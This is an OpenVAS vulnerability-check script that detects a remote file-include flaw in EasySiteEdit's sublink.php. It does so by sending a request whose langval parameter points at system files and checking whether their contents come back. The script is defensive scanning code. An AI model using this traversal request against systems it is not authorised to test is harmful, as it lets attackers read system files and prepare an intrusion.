EasySiteEdit 'sublink.php' Remote File Include Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_EasySiteEdit_49258.nasl 7577 2017-10-26 10:41:56Z cfischer $
#
# EasySiteEdit 'sublink.php' Remote File Include Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "EasySiteEdit is prone to a remote file-include vulnerability because
it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the
application and the underlying system; other attacks are also
possible.";

if (description)
{
 script_id(103274);
 script_version("$Revision: 7577 $");
 script_tag(name:"last_modification", value:"$Date: 2017-10-26 12:41:56 +0200 (Thu, 26 Oct 2017) $");
 script_tag(name:"creation_date", value:"2011-09-23 10:55:34 +0200 (Fri, 23 Sep 2011)");
 script_bugtraq_id(49258);
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_name("EasySiteEdit 'sublink.php' Remote File Include Vulnerability");
 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/49258");
 script_xref(name : "URL" , value : "http://www.easysiteedit.com/");
 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
 script_dependencies("find_service.nasl", "http_version.nasl", "os_detection.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
   
port = get_http_port( default:80 );
if( ! can_host_php( port:port ) ) exit( 0 );

files = traversal_files();

foreach dir( make_list_unique( "/esev2", "/esev", cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  foreach file( keys( files ) ) {

    url = dir + "/sublink.php?langval=/" + files[file];

    if( http_vuln_check( port:port, url:url, pattern:file ) ) {
      report = report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );